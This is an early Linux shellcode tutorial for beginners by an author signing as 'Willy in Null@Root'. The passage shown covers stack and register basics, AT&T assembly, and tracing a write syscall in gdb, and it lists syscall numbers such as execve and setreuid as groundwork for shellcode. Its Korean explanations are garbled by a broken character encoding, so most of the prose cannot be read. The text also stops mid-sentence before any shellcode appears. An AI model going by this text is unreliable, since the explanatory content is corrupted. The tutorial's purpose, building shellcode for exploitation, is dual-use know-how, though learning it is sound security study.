*** How to make shellcode in linux for beginners *** Willy in Null@Root jeazon@hanmail.net ------------------------------------------------------------------------------------------ Shellcode¸¦ ¸¸µé±â À§Çؼ­´Â ±âº»ÀûÀ¸·Î ¸Þ¸ð¸® ±¸Á¶¿Í °£´ÜÇÑ ¾î¼Àºí¸®¾î¿¡ ´ëÇÑ ÀÌÇظ¦ ÇÊ¿ä ·ÎÇÑ´Ù. ÃÖ±Ù Shellcode¿¡ °üÇÑ ¸¹Àº ¹®¼­µéÀÌ ¼Ò°³µÇ°í ÀÖÀ¸³ª ¸Þ¸ð¸®³ª ¾î¼Àºí¸®¿¡ ´ëÇÏ¿© ¾î´À Á¤µµ ¾Ë°í ÀÖ´Â »ç¶÷À» ´ë»óÀ¸·Î ¼Ò°³µÇ°í ÀÖ¾î ±â°è¾î Code¸¦ óÀ½ Á¢ÇÏ´Â »ç¶÷µé¿¡°Ô´Â Àüü È帧À» ÆľÇÇϴµ¥ ¾î·Á¿òÀÌ ÀÖ´Ù. ÀÌ ¹®¼­¿¡¼­´Â °¡Àå ±âº»ÀÌ µÇ´Â ¸Þ¸ð¸®ÀÇ ±¸Á¶ / ·¹Áö½ºÅÍ / ¾î¼Àºí¸®ÀÇ ±âº»ÀûÀÎ ¸í·É¾îºÎÅÍ ½ÃÀÛÇÏ¿© Shellcode Á¦ÀÛ°ú ¼öÁ¤»Ó¸¸¾Æ´Ï¶ó, ÀÓÀÇ ±â´ÉÀÇ system callÀ» ¼öÇàÇϱâ À§ÇÑ ±â°è¾î code¸¦ ¸¸µå´Â °ÍÀ» ¼³¸íÇÏ¿´´Ù. Âü°í·Î À̹®¼­¿¡ ¼Ò°³µÈ ¸ðµç ³»¿ëÀº Linux Red Hat 7.0 i686À» ±âº»À¸·Î ¸¸µé¾î Á³À¸¹Ç·Î CPU ,OS¿¡ µû¶ó¼­ ´Ù¼Ò Â÷ÀÌ°¡ ÀÖÀ»¼ö ÀÖ´Ù. ±âŸ ÀÌ ¹®¼­¿¡ ´ëÇÑ Áú¹® / ÁöÀû»çÇ×ÀÌ ÀÖ´Â »ç¶÷Àº Willy (jeazon@hanmail.net)¿¡°Ô ¿¬¶ô¹Ù¶÷. ------------------------------------------------------------------------------------------ CPU: GenuineIntel Pentium II 266MHz OS : Linux Redhat 7.0 i686 GCC: (GNU) 2.96 20000731 GDB: GNU gdb 5.0 <½ºÅØ°ú ·¹Áö½ºÅÍ> ½ºÅØ(stack)Àº ¸Þ¸ð¸®ÀÇ ¿µ¿ªÀ̸ç, ¿µ¾îÀÇ ¶æÀ» º¸¸é "½×¾Æ¿Ã¸° °Í" ÀúÀå°ø°£ÀÌ ½×¾Æ ¿Ã¸®´Â ÇüÅ·ΠµÇ¾îÀÖ´Ù´Â ÀǹÌÀÌ´Ù. ¿ì¸®°¡ ÇÁ·Î±×·¥À» ¼öÇàÇϸ鼭 »ý¼ºµÈ data³ª ÀÔ·ÂÀ» ÅëÇÏ¿© ¸¸µé¾îÁø data´Â ÀÏ´Ü ÀÌ ½ºÅØ¿¡ ½×¿´´Ù°¡ ÇÊ¿ä½Ã CPU·Î º¸³»Á® °è»êµÈ°í ±× °á°ú¹°ÀÌ ´Ù½Ã ½ºÅØ¿¡ ½×ÀÌ°Ô µÈ´Ù. ½ºÅØ¿¡ ½×¿© ÀÖ´Â data´Â ÁÖ¼Ò(address)¸¦ ÀÌ¿ëÇÏ¿© Á¦¾îµÈ´Ù. ½ºÅØÀº 2°¡Áö Ư¡ÀÌ Àִµ¥ Çϳª´Â data¸¦ push(Ãß°¡)ÇÏ¸é ³·Àº ÁÖ¼Ò ÂÊÀ¸·Î ½×Àδ٠°Í°ú, ³ªÁß¿¡ µé¾î°£ data°¡ ¸ÕÀú ³ª¿À´Â lifo(last in first out)°³³äÀ¸·Î Ç׾Ƹ®¿¡ ¹°°ÇÀ» ³Ö¾ú´Ù°¡ ²¨³¾¶§ ¸Ç µÚ¿¡ ³ÖÀº °ÍÀÌ ¸Ç ¸ÕÀú ³ª¿À´Â °Í°ú °°´Ù. ÀÌ°ÍÀ» µµ½ÄÈ­ ÇÏ¸é ¾Æ·¡¿Í °°´Ù.. data in/out | | 0xfffffffb ÇÏÀ§ ÁÖ¼Ò +----------+ | data 4 | 0xfffffffc +----------+ | data 3 | 0xfffffffd +----------+ | data 2 | 0xfffffffe +----------+ | data 1 | 0xffffffff »óÀ§ ÁÖ¼Ò +----------+ ·¹Áö½ºÅÍ(register)´Â CPUÀÇ ¿µ¿ªÀ¸·Î °í¼Ó¿¬»êÀ» ÇϱâÀ§ÇØ »ç¿ëµÇ´Â unitÀÌ´Ù. ·¹Áö½ºÅÍ¿¡´Â ax,bx, cx,dx,si,di,bp,sp½ÄÀ¸·Î À̸§ÀÌ ºÙ¾î Àִµ¥, ÀÌ°ÍÀº »ç¶÷¿¡°Ô À̸§À» ºÙ¿© °¢ °³ÀÎÀÇ °íÀ¯ id¸¦ ºÎ¿©ÇÏ´Â °Í°ú °°´Ù. Áï ¸í·ÉÀ» ¼öÇàÇÒ¶§ À§Ä¡¸¦ ã±â À§ÇØ »ç¿ëµÈ´Ù°í º¸¸éµÈ´Ù. ·¹Áö½ºÅÍÀÇ Á¾·ù´Â ÀϹݸñÀû ·¹Áö½ºÅÍ(general-purpose register), »óÅ ·¹Áö½ºÅÍ(status register)¿Í ¼¼±×¸ÕÆ® ·¹Áö ½ºÅÍ(segment register)µîÀÌ Àִ´Ù. ±×Áß¿¡¼­ ÀϹÝÀûÀ¸·Î °¡Àå ¸¹ÀÌ ¾²ÀÌ¸ç ±âº»ÀÌ µÇ´Â ÀϹݸñÀûÀÇ ·¹Áö½ºÅÍ(general-purpose register)¸¸ ÀÌÇØÇصµ shellcode¸¦ ¸¸µå´Âµ¥ Å« ¹«¸®°¡ ¾øÀ» °ÍÀ¸·Î »ý°¢ µÈ´Ù. ÀϹݸñÀûÀÇ ·¹Áö½ºÅÍÀÇ 8°³(ax,bx,cx,dx,si,di,bp,sp) Á¤µµ°¡ ÀÖÀ¸¸ç, ±×Áß¿¡ ax,bx,cx,dx´Â °è»êÀ» À§ÇØ Á÷Á¢ÀûÀ¸·Î data¸¦ ÁÖ°í ¹Þ´Â ·¹Áö½ºÅÍÀ̸ç, si,di,bp,sp´Â ÁÖ¼Ò¸¦ ÁÖ°í ¹Þ´Â ·¹Áö½ºÅÍ ÀÌ´Ù. 32ºñÆ® CPU¿¡¼­´Â ÁÖ¼Ò°¡ 4¹ÙÀÌÆ®(32ºñÆ®)À̹ǷΠ"e"¸¦ ºÙ¿©¼­ 4¹ÙÀÌÆ®·Î È®ÀåÇÏ¿© ÀϹÝÀûÀ¸·Î »ç¿ëÇÑ´Ù. Áï ÀÌÁ¦ si,di,bp,spÀÇ È®Àå °³³äÀÎ esi,edi,ebp,esp¸¸ ±â¾ïÇÏ¸é µÈ´Ù. gerneral | status | segment ----------+------------+---------- eax(ax) eflags cs ebx(bx) eip ds ecx(cx) ss edx(dx) es esi fs edi gs ebp esp ax,bx,cx,dx´Â data¸¦ Á÷Á¢ ó¸®ÇÏ´Â ·¹Áö½ºÅÍ·Î dataÀÇ Å©±â¿¡ µû¶ó 1¹ÙÀÌÆ®, 2¹ÙÀÌÆ®, 4¹ÙÀÌÆ®·Î ³ª´©¾î »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. Áï ax´Â 2¹ÙÀÌÆ®Àε¥ al(1¹ÙÀÌÆ®) + ah(1¹ÙÀÌÆ®)·Î ³ª´©¾î ¾µ¼öÀÖÀ¸¸ç alÀº axÀÇ ³·ÀºÂÊ 1¹ÙÀÌÆ®(8ºñÆ®), ahÀº ³ôÀºÂÊ 1¹ÙÀÌÆ®(8ºñÆ®)¸¦ ÀǹÌÇÑ´Ù. ¶ÇÇÑ ax¾Õ¿¡ e¸¦ ºÙÀ̸é 4¹ÙÀÌÆ®·ÎÀÇ È®ÀåÀ» ÀǹÌÇÑ´Ù. ÀÌ°ÍÀ» µµ½ÄÈ­ Çϸé +----+----+----+----+ | | | | | eax ( 4¹ÙÀÌÆ®, 32ºñÆ®, 0 ~ 0xffffffff ) +----+----+----+----+ | | | ax ( 2¹ÙÀÌÆ®, 16ºñÆ®, 0 ~ 0xffff ) +----+----+ | al | ah | al,ah ( 1¹ÙÀÌÆ®, 8ºñÆ®, 0 ~ 0xff ) +----+----+ 4¹ÙÀÌÆ® | 2¹ÙÀÌÆ® | 1¹ÙÀÌÆ® ---------+-----------+--------- eax ax al , ah ebx bx bl , bh ecx cx cl , ch edx dx dl , dh ÀÌ·¸°Ô dataó¸® ·¹Áö½ºÅÍÀÇ Å©±â¸¦ ³ª´©¾î ¾²´Â °ÍÀº È¿À²ÀûÀÎ °ü¸®Ãø¸é¿¡¼­µµ Àǹ̰¡ ÀÖ°ÚÁö¸¸ shellcodeÁ¦À۽ÿ£ NULL(0x00)ó¸®À» À§ÇØ Áß¿äÇÏ´Ù. Á»´õ ±¸Ã¼ÀûÀÎ ºÎºÐÀº Â÷Â÷ ¼³¸íÇϱâ·Î ÇÑ´Ù. esi,edi,ebp,esp¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ. si´Â source index, di´Â destination indexÀÇ ¾àÀÚ·Î ÇÊ¿ä½Ã ¹è¿­ ÂüÁ¶ÇÒ¶§ »ç¿ëÇÏ´Â ·¹Áö½ºÆ®¸® Á¤µµ·Î ÀÌÇØ ÇÏ¸é µÉ°Å °°°í, esp´Â stack pointer·Î ÇÁ·Î±×·¥ ÀÌ ÁøÇà µÇ´Â µ¿¾È stackÀÇ ÃÖÁ¾ ÁÖ¼Ò¸¦ ÀúÀåÇÏ´Â °÷ÀÌ´Ù. ÇÁ·Î±×·¥ÀÌ ÁøÇàÀ̶õ Àǹ̴ ½ºÅÿ¡ data °¡ ÀúÀåµÇ°í ºüÁö´Â µ¿¾È °è¼Ó º¯°æµÈ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ·¸°Ô esp°¡ °è¼Ó º¯°æµÇ¹Ç·Î ÇÑ ÇÔ¼ö (frame) ³»¿¡¼­ stackÀÇ ±âÁØ ÁÖ¼Ò¸¦ ¼³Á¤ÇÏ°Ô µÇ´Âµ¥ ÀÌ°ÍÀÌ ebp(base pointer, frame pointer) ÀÌ´Ù. ±×·¯¹Ç·Î ÀϹÝÀûÀ¸·Î ÇÔ¼ö ³»¿¡¼­ ù¹ø°·Î ÇÏ´Â ÀÏÀÌ ±âÁ¸ ebp¸¦ ÀúÀå(pushl %ebp)ÇÏ°í Ãʱâ ÀÇ esp¸¦ ebp·Î ¼³Á¤(movl %esp %ebp)ÇÏ´Â ÀÛ¾÷À» ÇÑ´Ù. µÚ¿¡ ½ÇÁ¦ ÇÁ·Î±×·¥³»¿¡¼­ Á»´õ »ó¼¼È÷ ÀÌÇØ Çϵµ·Ï ÇÏÀÚ. <¾î¼Àºí¸® ±¸Á¶¿Í ±âº» ¸í·É¾î> ¾î¼Àºí¸®ÀÇ ±âº» ±¸Á¶´Â ¾Æ·¡¿Í °°ÀÌ 5°³ÀÇ ¿µ¿ª(ºÎºÐ)À¸·Î ³ª´©¾îÁ® ÀÖÀ¸¸ç, LinuxÀÇ °æ¿ì¿¡´Â AT&T syntax¸¦ µû¸£±â ¶§¹®¿¡ ¿ÀÇÇÄÚµåÀÇ ¸í·ÉÀÌ Á¦1¿ÀÇÇ·£µå¿¡¼­ Á¦2¿ÀÇÇ·£µåÂÊÀ¸·Î ÀÛ¿ëÇÑ´Ù. Áï ¾Æ·¡ÀÇ ¿¹Á¦ÀÇ °æ¿ì %esiÀÇ °ªÀÌ %ebp¿¡ µé¾î°¡°Ô µÈ´Ù. ¶óº§ | ¿ÀÇÇÄÚµå |Á¦1¿ÀÇÇ·£µå |Á¦2¿ÀÇÇ·£µå | ¼³¸í¹®(ÁÖ¼®) ------+-----------+------------+------------+-------------- main: movl %esi, %ebp ; comment ¶óº§Àº Á÷Á¢ ±â°è¾î·Î ¹ø¿ªµÇÁö ¾Ê°í ºÐ±â¸í·É(jmp, call)µî¿¡¼­ ÂüÁ¶µÇ¾î ÁÖ¼ÒÀÇ °è»ê¿¡ »ç¿ëµÈ´Ù. ¿ÀÇÇÄÚµå´Â ¸í·É¾îÀ̸ç Á¦1 & 2 ¿ÀÇÇ·£µå´Â ÇÊ¿äÇÑ ÀμöµéÀÌ´Ù.. ¿ÀÇÇ·£µå´Â ¿ÀÇÇÄڵ忡 µû¶ó ÇÑ°³ ȤÀº 2°³¸¦ »ç¿ëÇÒ¼ö ÀÖ´Ù. ±âº» ¿ÀÇÇÄÚµå(¸í·É¾î)¿¡ ´ëÇÏ¿© ÀÇ¹Ì¿Í »ç¿ë¹ýÀ» ¾Ë¾Æº¸ÀÚ. Linux¿¡¼­ ´Â AT&T syntaxÀ» µû¸£±â ¶§¹®¿¡ ÀÌ¿¡ ÁØÇÏ¿© ¼³¸íÇÏ°Ú´Ù. +------+--------------------+---------------------------+--------------------+ |¸í·É¾î| ÀÌ¿ë ¹æ¹ý | ¸í·É¾îÀÇ ÀÇ¹Ì | C¿¡¼­ÀÇ À¯»ç Ç¥Çö | +------+--------------------+---------------------------+--------------------+ | mov | movb $0x1,%eax | 1À» eax¿¡ ³ÖÀ½.(1 ¹ÙÀÌÆ®) | eax = 0x01 | | | movw $0x1,%eax | 1À» eax¿¡ ³ÖÀ½.(2 ¹ÙÀÌÆ®) | eax = 0x0001 | | | movl $0x1,%eax | 1À» eax¿¡ ³ÖÀ½.(4 ¹ÙÀÌÆ®) | eax = 0x00000001 | | add | addl $1, %eax | eax¿¡ 1À» ´õÇ϶ó. | eax = eax + 1 | | sub | subl $1, %eax | eax¿¡¼­ 1À» »©¶ó. | eax = eax - 1 | | inc | incl %eax | eax¿¡ 1À» Áõ°¡. | eax++ | | dec | decl %eax | eax¿¡ 1À» °¨¼Ò. | eax-- | | lea | leal 0x8(%esi),%eax| eax¿¡ esi+8ÁÖ¼Ò¸¦ ³Ö¾î¶ó.| eax = esi + 8 | | xor | xor %eax, %eax | µÑÀ» ºñ±³Çؼ­ °°À¸¸é 0 | if(a==b) b=0 | | jmp | jmp string | 0x1fÀ§Ä¡·Î jumpÇ϶ó. | goto string | | call | call star | ¼­ºê·çƾÀ» call ÇÔ. | star() | | ret | ret | ¼­ºê·çƾ¿¡¼­ ¿ø·¡·Î º¹±Í | return | | int | int $0x80 | system call À§ÇÑ ÀÎÅÍ·´Æ® | - | | push | push %ebp | ebp°ªÀ» stack¿¡ ÀúÀå | - | | pop | pop %esi | stack¿¡¼­ ²¨³» esi¿¡ ÀúÀå | - | +------+--------------------+---------------------------+--------------------+ ÀÌ¿Ü¿¡µµ ¸¹Àº ¸í·É¾îµéÀÌ ÀÖÀ¸³ª À§ÀÇ ±âº»ÀûÀÎ ¸í·É¾îµé¸¸ ÃæºÐÀÌ ÀÌÇØÇÑ´Ù¸é shellcode¸¦ ¸¸µå ´Âµ¥ Å« ¹®Á¦°¡ ¾øÀ» °ÍÀÌ´Ù. <¾î¼Àºí¸® ÇÁ·Î±×·¥ ÀÌÇØ> Áö±Ý±îÁö ¸î°³ÀÇ ·¹Áö½ºÅÍÀÇ À̸§°ú °£´ÜÇÑ ¾î»ùºí¸® ¸í·É¾î¿¡ ´ëÇÏ¿© ¾Ë¾Æº¸¾Ò´Ù. ÀÌÁ¦ Linux¿¡¼­ »ç¿ëµÇ´Â ¾î¼Àºí¸®ÀÇ ±¸Á¶¸¦ ¾Ë¾Æº¸±â À§ÇÏ¿© °£´ÜÇÑ C¾ð¾î ÇÁ·Î±×·¥À» ¸¸µé¾î¼­ ¾î¼Àºí¸®¾ð¾î·Î ÄÄÆÛÀÏ Çغ¸ÀÚ. ¿ì¸®´Â ÇÁ·Î±×·¥ ³»¿¡¼­ ½ºÅØ¿¡ data°¡ ¾î¶»°Ô ½×ÀÌ°í 󸮵ǴÂÁö esp¿Í ebpÀÇ º¯È­¸¦ ÅëÇÏ¿© ¾Ë¾Æ º¼·Á°í ÇÑ´Ù. [willy@Null2Root]$ cat test11.c main() { int a=1; printf(" a is %d \n",a); } a¸¦ º¯¼ö·Î Á¤ÀÇÇÑµÚ a¿¡ 1À» ³Ö°í Ãâ·ÂÇ϶ó´Â °£´ÜÇÑ ÇÁ·ÎÀÌ´Ù. [willy@Null2Root]$ gcc test11.c -S -o test11.s -mpreferred-stack-boundary=2 ¿©±â¼­ -mpreferred-stack-boundary=2 ¿É¼ÇÀ» »ç¿ëÇÑ ÀÌÀ¯´Â gcc 2.95ÀÌ»óÀÇ ¹öÀü¿¡¼­ stackÀÇ ±¸Á¶°¡ ÀϺΠº¯°æµÇ¾î ¿¹ÀüÀÇ stack±¸Á¶¸¦ »ç¿ëÇϱâ À§Çؼ­ Ãß°¡ÇÏ¿´À¸¸ç, -S ¿É¼ÇÀº ¾î¼Àºí¸®·Î ÄÄÆÛÀÏÇÏ´Â ¿É¼ÇÀÌ´Ù. [willy@Null2Root]$ cat test11.s .file "test1.c" .version "01.01" gcc2_compiled.: .section .rodata .LC0: .string " a is %d \n" .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp, %ebp subl $4, %esp movl $1, -4(%ebp) pushl -4(%ebp) pushl $.LC0 call printf addl $8, %esp leave ret .Lfe1: .size main,.Lfe1-main .ident "GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.0)" ÀÌ¿Í°°ÀÌ Á¶±Ý º¹ÀâÇÑ ±¸Á¶·Î µÇ¾úÀÖ´Ù. ¿©±â¼­ Á÷Á¢ÀûÀ¸·Î ÇÁ·Î±×·¥½ÇÇà°ú °ü°è°¡ ¾ø´Â ºÎºÐµéÀ» Á¦°ÅÇÏ¸é ¾Æ·¡¿Í °°Àº °£´ÜÇÑ ±¸Á¶·Î ¸¸µé¼ö ÀÖ´Ù. .LC0: .string " a is %d \n" .globl main main: pushl %ebp movl %esp, %ebp subl $4, %esp movl $1, -4(%ebp) pushl -4(%ebp) pushl $.LC0 call printf addl $8, %esp leave ret ¿©±â¼­ .LC0: ¿Í main:Àº ¶óº§À̸ç .globl main ºÎºÐÀº mainÀ» ÇÔ¼ö·Î Á¤ÀÇÇÏ´Â ºÎºÐÀÌ´Ù. ±×¸®°í main: ³»¿¡¼­ÀÇ ÇÁ·Î±×·¥À» º¸¸é ¾Æ·¡¿Í °°´Ù.. ƯÈ÷ %esp¿Í %ebp¿¡ ´ëÇÏ¿© À¯ÀÇÇؼ­ °üÂûÇغ¼ ÇÊ¿ä°¡ ÀÖ´Ù. ¿©±â¼­ º¸¿©ÁÖ´Â esp & ebp°ªÀº »ó´ë°ªÀÌ´Ù. +---------------------+-----+-----+-----------------------------------------------+ | ¸í ·É |%esp |%ebp | ¼³ ¸í | +---------------------+-----+-----+-----------------------------------------------+ |pushl %ebp | 0x00| old | ±âÁ¸ ebp°ªÀ» stack¿¡ ÀúÀåÇÔ. ret½Ã ȯ¿øÀ§ÇÔ | |movl %esp, %ebp |-0x04| old | ÇöÀçÀÇ esp¸¦ ebp·Î ¼³Á¤.(ÇÑ ÇÔ¼ö³»¿¡¼­ ÀÏÁ¤) | |subl $4, %esp |-0x04| 0x04| º¯¼ö°ª ÀúÀåÀ» À§ÇØ stack°ø°£ È®º¸(int 4bytes) | |movl $1, -4(%ebp) |-0x08| 0x04| ebp±âÁØ -4¹ÙÀÌÆ® À§Ä¡¿¡ 1À» ³ÖÀ½.(a=1) | |pushl -4(%ebp) |-0x08| 0x04| ebp±âÁØ -4À§Ä¡ÀÇ °ªÀ» stack¿¡ ³ÖÀ½ | |pushl $.LC0 |-0x0c| 0x04| .LC0ÁÖ¼Ò°ªÀ» stack¿¡ ³ÖÀ½ (" a is %d \n") | |call printf |-0x10| 0x04| printf()ÇÔ¼ö¸¦ ºÎ¸§ | |addl $8, %esp |-0x10| 0x04| esp¸¦ 8¹ÙÀÌÆ® ´õÇÔ (È­¿øÇÔ) | |leave |-0x08| 0x04| | |ret |-0x00| old | º¹±Í.(return) | +---------------------+-----+-----+-----------------------------------------------+ ¾î¼Àºí¸®¿¡¼­ °¡Àå È¥µ·Çϱ⠽¬¿î ºÎºÐÀÌ stack¿¡ ½×ÀÌ´Â dataÀÇ À§Ä¡ÀÌ´Ù. C¾ð¾îÀÇ °æ¿ì¿¡ data°¡ ÀúÀåµÇ´Â Àý´ë°ªÀ» Ç¥½ÃÇϱ⠶§¹®¿¡ ¾î·Á¿òÀÌ ¾øÀ¸³ª ¾î¼Àºí¸®ÀÇ °æ¿ì¿¡´Â push, sub, add,retµîÀÇ ¸í·É¾î¸¦ Àý´ëÁÖ¼Ò ¾øÀÌ ¼öÇàÇÏ¿©µµ ¼ø¼­¿¡ ÀÇÇØ stack°¡°¨ µÈ´Ù. esp´Â stack¿¡¼­ data°¡ ½×¿© ÀÖ´Â Á¦ÀÏ ³¡ ÁÖ¼ÒÀ» Ç¥½ÃÇϹǷΠdataÀÇ Áõ°¨¿¡ µû¶ó espµµ °è¼Ó º¯ÇÏ°Ô µÈ´Ù. dataÀÇ Ã³¸®´Â ¶§·Ð ƯÁ¤ À§Ä¡ÀÇ °ªÀ» ÂüÁ¶Çϰųª º¯°æ½ÃÄÑ¾ß ÇÏ´Â °æ¿ì°¡ Àִµ¥ (À§¿¡¼­ pushl -4(%ebp) °°Àº °æ¿ì) ÀÌ·²¶§ ¸Å ¼ø°£ º¯È­ÇÏ´Â esp¸¦ ±âÁØÀ¸·Î »ó´ëÁÖ¼Ò°ªÀ» Àâ±â°¡ ½±Áö ¾Ê´Ù. ±×·¯ÇÑ ÀÌÀ¯¿¡¼­ ÇÑ ÇÔ¼ö(function)³»¿¡¼­ ±âÁØ¿¡ µÇ´Â ÇÑ ÁÖ¼Ò¸¦ ¼³Á¤Çϴµ¥ ±×°ÍÀÌ ¹Ù·Î ebpÀÌ´Ù. À§ µµÇ¥¸¦ º¸¸é ÇÔ¼ö (main)¿¡ µé¾î¿Í¼­ ù¹ø°·Î Çϴ°úÁ¤ÀÌ ¹Ù·Î Àü¿¡ °¡Áö°í ÀÖ´ø ebp¸¦ ÀúÀåÇÏ°í Ãʱâ esp¸¦ ebpÀúÀå Çؼ­ ÇÔ¼ö°¡ ³¡³¯¶§±îÁö ÀÏÁ¤ÇÑ ÁÖ¼Ò°ªÀ» À¯ÁöÇÏ´Â °ÍÀ» º¼¼ö ÀÖ´Ù. esp¿Í ebp´Â ÇϳªÀÇ ÇÔ¼ö°¡ ½ÇÇàµÇ¾ú´Ù°¡ ³¡³ª´Â ret ½ËÁ¡ ¿¡¼­´Â ¸ðµÎ Ãʱ⠰ªÀ» °®°Ô µÈ´Ù. ÇÁ·Î±×·¥ÀÇ È帧À» º¸¸é ebp¸¦ ¼³Á¤ÇÑµÚ aÀÇ º¯¼ö°ªÀ¸·Î 1À» ³Ö°í, ±× a°ªÀ» stack¿¡ ÀúÀå(pushl -4(%ebp))ÇÏ°í string " a is %d \n"À» stack¿¡ ÀúÀåÇÑ µÚ printf()ÇÔ¼ö¸¦ callÇÑ´Ù. ÀÌ´Â ¿ø·¡ printf(" a is %d \n",a);º¸¸é ÇÔ¼öÀÇ ¸Å°èÀμö¸¦ µÚÂʺÎÅÍ stack¿¡ ³Ö´Â °ÍÀ» º¼¼öÀÖ´Ù. Á¶±Ý´õ ÀÌÇظ¦ Çϱâ À§ÇØ ¾î»ùºí¸® ÇÁ·Î±×·¥(test11.s)À» ¼öÁ¤ÇÏ¿© ¾Æ·¡¿Í °°Àº C¾ð¾î ÇÁ·Î±×·¥ÀÇ Ãâ·Â °á°ú¿Í °°µµ·Ï ÇØ º¸ÀÚ.. --------------- C¾ð¾î --------------------- int a=1, b=2; printf("a=%d, b=%d \n",a,b); ------------------------------------------- - ¸ÕÀú stringºÎºÐÀº ¹Ù²Û´Ù.. " a is %d \n" -> "a=%d, b=%d \n" - ebpºÎºÐÀº º¯°æÇÒ °ÍÀÌ ¾ø°í.. - º¯¼ö Á¤ÀÇ ºÎºÐÀ» ¼öÁ¤ÇÑ´Ù. int a (4¹ÙÀÌÆ®) -> int a, b (8¹ÙÀÌÆ®) subl $4, %esp -> subl $8, %esp - aº¯¼ö¿¡ 1À» ³Ö´Â´Ù. movl $1, -4(%ebp) - bº¯¼ö¿¡ 2¸¦ ³Ö´Â´Ù. movl $2, -8(%ebp) - b°ªÀ» stack¿¡ ³Ö´Â´Ù. pushl -8(%ebp) - a°ªÀ» stack¿¡ ³Ö´Â´Ù. pushl -4(%ebp) - string¶óº§ ÁÖ¼Ò¸¦ pushÇÑ´Ù. pushl $.LC0 - call printf - espÀ§Ä¡¸¦ ¼öÁ¤. addl $12, %esp [willy@Null2Root] cat test12.s .LC0: .string "a=%d, b=%d \n" .globl main main: pushl %ebp movl %esp, %ebp subl $8, %esp movl $1, -4(%ebp) movl $2, -8(%ebp) pushl -8(%ebp) pushl -4(%ebp) pushl $.LC0 call printf addl $12, %esp leave ret [willy@Null2Root]gcc test12.s -o test12 [willy@Null2Root]$ ./test12 a=1, b=2 Áö±Ý±îÁö °£´ÜÇÑ ¾î¼Àºí¸® ÇÁ·Î±Û·¥ ºÐ¼®À» ÅëÇÏ¿© ½ºÅØÀÇ ±¸Á¶¿Í esp, ebpÀÇ º¯È­¿Í Àǹ̸¦ ÀÌÇØ ÇÒ¼ö ÀÖ¾ú´Ù. ÀÌÁ¦ºÎÅÍ´Â system call¸¦ ÀÌ¿ëÇÑ Ã³¸®¿¡ ´ëÇÏ¿© ¾Ë¾Æº¸ÀÚ. <¾î¼Àºí¸®¿¡¼­ ÀÎÅÍ·´Æ®¿Í system call> system callÀ̶õ ½Ã½ºÅÛ¿¡ ¹Ì¸® ¸¸µé¾î ³õÀº ·çƾ(ÇÔ¼ö)¸¦ ÀÌ¿ëÇÏ¿© ó¸®ÇÏ´Â °ÍÀ» ¸»ÇÑ´Ù. È£ÃâÀº interrupt¸¦ ÀÌ¿ëÇϸç Linux¿¡¼­´Â ÀÎÅÍ·´Æ® 0x80(int $0x80)À» »ç¿ëÇÏ´Ù. system callÀ» ÇÏ´Â ¹æ¹ý Àº ¹Ì¸® ±ÔÁ¤µÈ Æã¼Ç¹øÈ£¿Í °ü·ÃµÈ ÀμöµéÀ» eax,ebx,ecx,edx.. ¼øÀ¸·Î ä¿ö ³ÖÀºµÚ int $0x80À» ÇÔÀ¸·Î½á °¡´ÉÇÏ´Ù. ÇÔ¼ö¹øÈ£´Â Ç×»ó eax¿¡ À§Ä¡Çϸç ebxºÎÅÍ´Â Àû´çÇÑ ÀμöµéÀÌ ¿À°ÔµÈ´Ù. Linux¿¡¼­´Â /usr/include/asm/unistd.h¿¡¼­ system call°ü·Ã ÇÔ¼ö¹øÈ£¸¦ Á¤ÀÇ ÇÑ´Ù. ¸î°¡Áö º¸¸é ´ÙÀ½°ú °°´Ù. #define __NR_exit 1 #define __NR_write 4 #define __NR_execve 11 #define __NR_setreuid 70 #define __NR_setregid 71 ebx,ecx,edx...¿¡ ¾î¶² °ªÀÌ µé¾î°¡´ÂÁö´Â ÇÔ¼ö¹øÈ£(eax¿¡ µé¾î°¡´Â °ª)¿¡ ÀÇÁ¸ÇÏ¿© ¼³Á¤µÇ°Ô µÇ¸ç System Call Table(http://quaff.port5.com/syscall_list.html)À» ÂüÁ¶ÇÏ¸é ¾Ë¼öÀÖ´Ù. ´Ù¸¥ ¹æ¹ýÀ¸·Î C¾ð¾î·Î ÇÁ·Î±×·¥À» ¸¸µçµÚ gdb¿¡¼­ disassembleÀ» ÅëÇÏ¿© ¾Ë¼ö ÀÖ´Ù. ÀÌÁ¦ system callÀ̶ó´Â °ÍÀ» ÀÌÇØÇϱâ À§ÇÏ¿© ´Ù¸¥ ¿¹Á¦¸¦ ¸¸µé¾î º¸ÀÚ. ¾Æ·¡´Â "I'm Willy in Null@Root"¸¦ Ãâ·ÂÇÏ´Â °£´ÜÇÑ C¾ð¾î ÇÁ·Î±×·¥ÀÌ´Ù. [willy@Null@Root]$ cat test21.c main() { write(1,"I'm Willy in Null@Root\n",23); } [willy@Null@Root]$ gcc test21.c -o test21 -mpreferred-stack-boundary=2 -static ¿©±â¼­ -static ¿É¼ÇÀ» ¾´ ÀÌÀ¯´Â ÀÎÅÍ·´Æ® ºÎºÐÀ» º¸±â À§Çؼ­ÀÌ´Ù. [willy@Null@Root]$ ./test21 I'm Willy in Null@Root [willy@Null@Root]$ gdb -q test21 (gdb) disassemble main Dump of assembler code for function main: 0x80481dc
: push %ebp 0x80481dd : mov %esp,%ebp 0x80481df : push $0x17 0x80481e1 : push $0x808b1c8 0x80481e6 : push $0x1 0x80481e8 : call 0x804c390 <__libc_write> 0x80481ed : add $0xc,%esp 0x80481f0 : leave 0x80481f1 : ret 0x80481f2 : nop 0x80481f3 : nop End of assembler dump. (gdb) disassemble __libc_write Dump of assembler code for function __libc_write: 0x804c390 <__libc_write>: push %ebx 0x804c391 <__libc_write+1>: mov 0x10(%esp,1),%edx 0x804c395 <__libc_write+5>: mov 0xc(%esp,1),%ecx 0x804c399 <__libc_write+9>: mov 0x8(%esp,1),%ebx 0x804c39d <__libc_write+13>: mov $0x4,%eax 0x804c3a2 <__libc_write+18>: int $0x80 0x804c3a4 <__libc_write+20>: pop %ebx 0x804c3a5 <__libc_write+21>: cmp $0xfffff001,%eax 0x804c3aa <__libc_write+26>: jae 0x804cab0 <__syscall_error> 0x804c3b0 <__libc_write+32>: ret End of assembler dump. disassemble mainÀ» º¸¸é ebp¸¦ ¼³Á¤ÇÏ°í, 0x17(stringÅ©±â), string address, 1(std_out)À» stack À¸·Î ³ÖÀº µÚ callÀ» ÇÏ´Â °ÍÀ» º¼¼ö ÀÖ´Ù. ÀÌ´Â À§¿¡¼­ 